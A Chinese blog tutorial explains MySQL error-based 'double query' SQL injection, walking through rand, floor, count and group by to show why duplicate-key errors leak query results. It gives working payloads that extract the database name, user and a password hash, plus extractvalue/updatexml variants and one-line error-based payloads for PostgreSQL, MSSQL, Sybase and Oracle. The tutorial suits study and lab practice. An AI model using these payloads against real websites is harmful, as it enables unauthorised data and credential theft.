Mysql中Double Injection原理浅析

0x00 什么是Double Injection

这个定义是我自己下的,读起来很拗口。如果不能理解这个定义请先暂时跳过:

Double Injection(双查询注入)是一种利用Mysql在按含rand函数的列分组(group by)并计数(count)的情况下创建临时表后,查询临时表中分组键(group_by)是否存在和向临时表插入新行时均计算rand函数返回值的特性,通过巧妙地构造SQL语句,将有用信息显示在SQL报错信息中的SQL注入技术。

在SQL注入中有时会遇到这样的情况:若SQL语句正确,则页面正常返回,但返回的页面中不包含任何有用的信息,而当SQL语句错误时,页面会显示SQL错误信息。在这种情况下,Double Injection是十分有用的。

0x01 Double Injection的原理

0. concat函数

在Mysql中,concat函数用于拼接字符串,如:

mysql> select concat('1', '<-');
+-------------------+
| concat('1', '<-') |
+-------------------+
| 1<-               |
+-------------------+
1 row in set (0.00 sec)

也可以拼接查询结果,如:

mysql> select concat('->', (select database()), '<-');
+-----------------------------------------+
| concat('->', (select database()), '<-') |
+-----------------------------------------+
| ->information_schema<-                  |
+-----------------------------------------+
1 row in set (0.00 sec)

1. rand函数

在Mysql中,rand函数用于返回一个0到1之间的随机数,包含0不包含1,用高数的表示方法便是:[0, 1)。如:

mysql> select rand();
+-------------------+
| rand()            |
+-------------------+
| 0.847016541144826 |
+-------------------+
1 row in set (0.00 sec)

mysql> select rand();
+------------------+
| rand()           |
+------------------+
| 0.08670779791354 |
+------------------+
1 row in set (0.00 sec)

rand函数接受一个整数参数作为随机数的种子。当种子固定时,产生的随机数(随机数列)也是固定的。如:

mysql> select rand(0);
+-------------------+
| rand(0)           |
+-------------------+
| 0.155220427694936 |
+-------------------+
1 row in set (0.00 sec)

mysql> select rand(0);
+-------------------+
| rand(0)           |
+-------------------+
| 0.155220427694936 |
+-------------------+
1 row in set (0.00 sec)

上面的例子是产生的随机数固定,下面的例子是产生的随机数数列固定:

mysql> select rand(0) from information_schema.columns limit 3;
+-------------------+
| rand(0)           |
+-------------------+
| 0.155220427694936 |
| 0.620881741513388 |
| 0.638747455215778 |
+-------------------+
3 rows in set (0.01 sec)

mysql> select rand(0) from information_schema.columns limit 3;
+-------------------+
| rand(0)           |
+-------------------+
| 0.155220427694936 |
| 0.620881741513388 |
| 0.638747455215778 |
+-------------------+
3 rows in set (0.01 sec)

information_schema是系统模式,所有Mysql数据库中都会有这个模式,columns是其中的一个表,记录了所有数据表的列信息。这里只是随便举一个随机数列的例子,如果你不明白information_schema.columns也不要紧,只要知道是从某个有很多行的表中查询数据就可以了。

2. floor函数

Mysql中floor函数是取下整函数,接受一个float型参数,返回小于等于输入参数的最大整数。如:

mysql> select floor(1.4);
+------------+
| floor(1.4) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(1.0);
+------------+
| floor(1.0) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(0.4);
+------------+
| floor(0.4) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

3. 产生随机整数

在Double Injection中我们会综合利用rand函数和floor函数产生范围为[0, 1]的整数随机数,如:

mysql> select floor(rand(14)*2) from information_schema.columns limit 5;
+-------------------+
| floor(rand(14)*2) |
+-------------------+
|                 1 |
|                 0 |
|                 1 |
|                 0 |
|                 0 |
+-------------------+
5 rows in set (0.00 sec)

以14作为rand函数的参数,以使每次产生的随机数列相同。rand(14)乘了2,将产生的随机数范围放大到了[0, 2),最后floor函数的作用是将结果限定在0和1这两个整数之中。

以14为随机数种子时产生的随机整数数列的前四位为:

1,0,1,0

这是特意选择的,详见后文。

4. count函数

在Mysql中,count函数用于计数,通常用于统计行数。如:

mysql> select count(*) from information_schema.columns;
+----------+
| count(*) |
+----------+
|      546 |
+----------+
1 row in set (0.02 sec)

5. group by语句

group by column_name表示用column_name列对查询结果进行分组。下面是某个SQL语句没有分组时的输出:

mysql> select table_schema, table_name from information_schema.tables;
+--------------------+---------------------------------------+
| table_schema       | table_name                            |
+--------------------+---------------------------------------+
| information_schema | CHARACTER_SETS                        |
| information_schema | COLLATIONS                            |
| information_schema | COLLATION_CHARACTER_SET_APPLICABILITY |
| information_schema | COLUMNS                               |
| information_schema | COLUMN_PRIVILEGES                     |
| information_schema | ENGINES                               |
| information_schema | EVENTS                                |
| information_schema | FILES                                 |
| information_schema | GLOBAL_STATUS                         |
| information_schema | GLOBAL_VARIABLES                      |
| information_schema | KEY_COLUMN_USAGE                      |
| information_schema | PARTITIONS                            |
| information_schema | PLUGINS                               |
| information_schema | PROCESSLIST                           |
| information_schema | PROFILING                             |
| information_schema | REFERENTIAL_CONSTRAINTS               |
| information_schema | ROUTINES                              |
| information_schema | SCHEMATA                              |
| information_schema | SCHEMA_PRIVILEGES                     |
| information_schema | SESSION_STATUS                        |
| information_schema | SESSION_VARIABLES                     |
| information_schema | STATISTICS                            |
| information_schema | TABLES                                |
| information_schema | TABLE_CONSTRAINTS                     |
| information_schema | TABLE_PRIVILEGES                      |
| information_schema | TRIGGERS                              |
| information_schema | USER_PRIVILEGES                       |
| information_schema | VIEWS                                 |
| challenges         | 62S77J251S                            |
| my_test            | user                                  |
| mysql              | columns_priv                          |
| mysql              | db                                    |
| mysql              | event                                 |
| mysql              | func                                  |
| mysql              | general_log                           |
| mysql              | help_category                         |
| mysql              | help_keyword                          |
| mysql              | help_relation                         |
| mysql              | help_topic                            |
| mysql              | host                                  |
| mysql              | ndb_binlog_index                      |
| mysql              | plugin                                |
| mysql              | proc                                  |
| mysql              | procs_priv                            |
| mysql              | servers                               |
| mysql              | slow_log                              |
| mysql              | tables_priv                           |
| mysql              | time_zone                             |
| mysql              | time_zone_leap_second                 |
| mysql              | time_zone_name                        |
| mysql              | time_zone_transition                  |
| mysql              | time_zone_transition_type             |
| mysql              | user                                  |
| security           | emails                                |
| security           | referers                              |
| security           | uagents                               |
| security           | users                                 |
+--------------------+---------------------------------------+
57 rows in set (0.00 sec)

下面时加上group by table_schema后的输出:

mysql> select table_schema, table_name from information_schema.tables group by table_schema;
+--------------------+----------------+
| table_schema       | table_name     |
+--------------------+----------------+
| challenges         | 62S77J251S     |
| information_schema | CHARACTER_SETS |
| mysql              | columns_priv   |
| my_test            | user           |
| security           | emails         |
+--------------------+----------------+
5 rows in set (0.00 sec)

可以看到输出有了很大不同,只显示了不重复的table_schema,而table_name则只显示了同样table_schema中的第一个。

6. count 和 group by

count和group by常常配合使用,例如下面的例子显示了如何统计各个模式中各有多少个数据表:

mysql> select table_schema, count(*) from information_schema.tables group by table_schema;
+--------------------+----------+
| table_schema       | count(*) |
+--------------------+----------+
| challenges         |        1 |
| information_schema |       28 |
| mysql              |       23 |
| my_test            |        1 |
| security           |        4 |
+--------------------+----------+
5 rows in set (0.00 sec)

我们猜测在做这样的统计时,Mysql会建立一张临时表,有group_key和tally两个字段,其中group_key设置了UNIQUE约束,即不能有两行的group_key列的值相同。

开始时临时表为空。Mysql逐行扫描information_schema.tables表,遇到的第一个分组列(table_schema)值为information_schema,便去查询临时表中是否有group_key为information_schema的行,发现没有,便在临时表中新增一行,group_key为information_schema,tally为1。临时表现在成了:

+--------------------+-------+
| group_key          | tally |
+--------------------+-------+
| information_schema |     1 |
+--------------------+-------+

Mysql继续扫描information_schema.tables表,遇到的第二个分组列(table_schema)的值还是information_schema,去查询临时表中是否有group_key为information_schema的行,发现有,于是将该行的tally加1。临时表变成了:

+--------------------+-------+
| group_key          | tally |
+--------------------+-------+
| information_schema |     2 |
+--------------------+-------+

Mysql继续扫描information_schema.tables表。省略一些中间过程,我们假设这次遇到的分组列(table_schema)的值是challenges,去查询临时表中是否有group_key为challenges的行,发现没有,便在临时表中新增一行,group_key为challenges,tally为1。临时表现在成了:

+--------------------+-------+
| group_key          | tally |
+--------------------+-------+
| information_schema |    28 |
| challenges         |     1 |
+--------------------+-------+

重复这个过程,直到Mysql扫描完information_schema.tables表,临时表变就成了:

+--------------------+-------+
| group_key          | tally |
+--------------------+-------+
| information_schema |    28 |
| challenges         |     1 |
| mysql              |    23 |
| my_test            |     1 |
| security           |     4 |
+--------------------+-------+

此时也就统计出了各个模式有多少数据表。

7. group by 的列含 rand 函数

现在来看看Double Injection的核心。先观察如下的SQL语句及执行结果:

mysql> select floor(rand(14)*2) c, count(*) from information_schema.columns group by c;
ERROR 1062 (23000): Duplicate entry '0' for key 'group_key'

上面的SQL语句中用列c分组,而列c是floor(rand(14)*2)的别名。

先回顾一下floor(rand(14)*2)产生的随机数列,前四位是:

1,0,1,0

然后我们来研究一下为何会报错。

在SQL语句中有count和group by,Mysql同样会先创建一张临时表,有设置了UNIQUE约束的group_key和tally两个字段。

创建好临时表后,Mysql开始逐行扫描information_schema.columns表,遇到的第一个分组列是floor(rand(14)*2),计算出其值为1,便去查询临时表中是否有group_key为1的行,发现没有,便在临时表中新增一行,group_key为floor(rand(14)*2),注意此时又计算了一次,结果为0。所以实际插入到临时表的一行group_key为0,tally为1,临时表变成了:

+--------------------+-------+
| group_key          | tally |
+--------------------+-------+
| 0                  |     1 |
+--------------------+-------+

Mysql继续扫描information_schema.columns表,遇到的第二个分组列还是floor(rand(14)*2),计算出其值为1(这个1是随机数列的第三个数),便去查询临时表中是否有group_key为1的行,发现没有,便在临时表中新增一行,group_key为floor(rand(14)*2),此时又计算了一次,结果为0(这个0是随机数列的第四个数),所以尝试向临时表插入一行数据,group_key为0,tally为1。但实际上临时表中已经有一行的group_key为0,而group_key又设置了不可重复的约束,所以报错:

ERROR 1062 (23000): Duplicate entry '0' for key 'group_key'

8. Double Injection

其实到这里我们已经完成了所有准备工作。只需要使用concat函数将想要查询的信息和floor(rand(14)*2)拼接在一起就可以了。如获取当前数据库:

mysql> select concat((select database()), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;
ERROR 1062 (23000): Duplicate entry 'information_schema0' for key 'group_key'

注意我们想要的信息在错误信息中。

再比如读Mysql数据库用户名:

mysql> select concat((select user from mysql.user limit 1), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;
ERROR 1062 (23000): Duplicate entry 'root0' for key 'group_key'

读Mysql数据库密码:

mysql> select concat((select password from mysql.user limit 1), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;
ERROR 1062 (23000): Duplicate entry '*9CFBBC772F3F6C106020035386DA5BBBF1249A110' for key 'group_key'

0x02 几点说明

0. 随机数种子非得是14吗?

不一定。当随机数种子是14时,有两列就可以触发错误。而当随机数种子是0时,最少需要3列才会触发错误,因为它产生的随机数列是:

mysql> select floor(rand(0)*2) from information_schema.column
s limit 6;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
+------------------+
6 rows in set (0.01 sec)

甚至可以不指定随机数种子,只要列数足够多,就一定会触发错误。

1. 为何要从information_schema.columns表读数据?

因为这个表总是存在的而且总是有很多很多列,这确保了一定能触发错误。

2. 这种注入为何要叫做Double Injection?

我没有找到相关资料。但观察一下Double Injection,有两个select,不是吗?

select concat((select user from mysql.user limit 1), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;

3. 哪里有Double Injection的实例?

Sqlilab的第五关和第六关。

4. 双重查询中没有可查的表怎么办?

自己构造一个表。如下:

mysql> select count(*) from (select 1 union select 2) temp group by concat(floor(rand(14)*2), (select user()));
ERROR 1062 (23000): Duplicate entry '0root@localhost' for key 'group_key'

5. 为何Mysql在查询临时表和插入临时表时要计算两次rand?

这是Mysql的一个BUG,其他数据库没有这个BUG,自然也就不能这么注入。

6. 利用这一BUG的注入还有其他写法吗?

第一种:

mysql> select count(*) from information_schema.columns group by concat(floor(rand(14)*2), (select user()));
ERROR 1062 (23000): Duplicate entry '0root@localhost' for key 'group_key'

第二种:

mysql> select min(@a:=1) from information_schema.columns group by concat((select user()), @a:=(@a+1)%2);
ERROR 1062 (23000): Duplicate entry 'root@localhost0' for key 'group_key'

7.还有其他函数可以引发这样的报错吗?

extractvalue

Mysql5.1引入了该函数。该函数用于从XML中提取值,接收两个参数,第一个参数是一个XML格式的字符串,第二个参数是有效的xPath,如:

mysql> select extractvalue('<a>123</a><b>456</b>', '/b');
+--------------------------------------------+
| extractvalue('<a>123</a><b>456</b>', '/b') |
+--------------------------------------------+
| 456                                        |
+--------------------------------------------+
1 row in set (0.00 sec)

mysql> select extractvalue('<a>123</a><b>456</b>', '/a');
+--------------------------------------------+
| extractvalue('<a>123</a><b>456</b>', '/a') |
+--------------------------------------------+
| 123                                        |
+--------------------------------------------+
1 row in set (0.00 sec)

但第二个参数不是有效的xPath时就会报错,如:

mysql> select extractvalue(0, concat(0x5C, (select user())));
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'

updatexml

该函数同样在Mysql5.1中引入,作用是更新XML中特定节点的值,第一个参数为XML格式的字符串,第二个参数为xPath,第三个参数为要更新的值,如:

mysql> select updatexml('<a>123</a><b>456</b>', '/a/initial' , '789');
+---------------------------------------------------------+
| updatexml('<a>123</a><b>456</b>', '/a/initial' , '789') |
+---------------------------------------------------------+
| <a>123</a><b>456</b>                                    |
+---------------------------------------------------------+
1 row in set (0.00 sec)

同样当第二个参数不是有效的xPath时就会报错,如:

mysql> select updatexml(1,concat(0x5C,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'

8. 其他数据库有办法实现类似的注入效果吗?

来自参考文献2:

PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- 
MSSQL: /?param=1 and(1)=convert(int,@@version)-- 
Sybase: /?param=1 and(1)=convert(int,@@version)-- 
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

0x03 参考链接

  1. Double SQL Injection(双查询注入)
  2. 详解SQL盲注测试高级技巧

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

2 × 1 =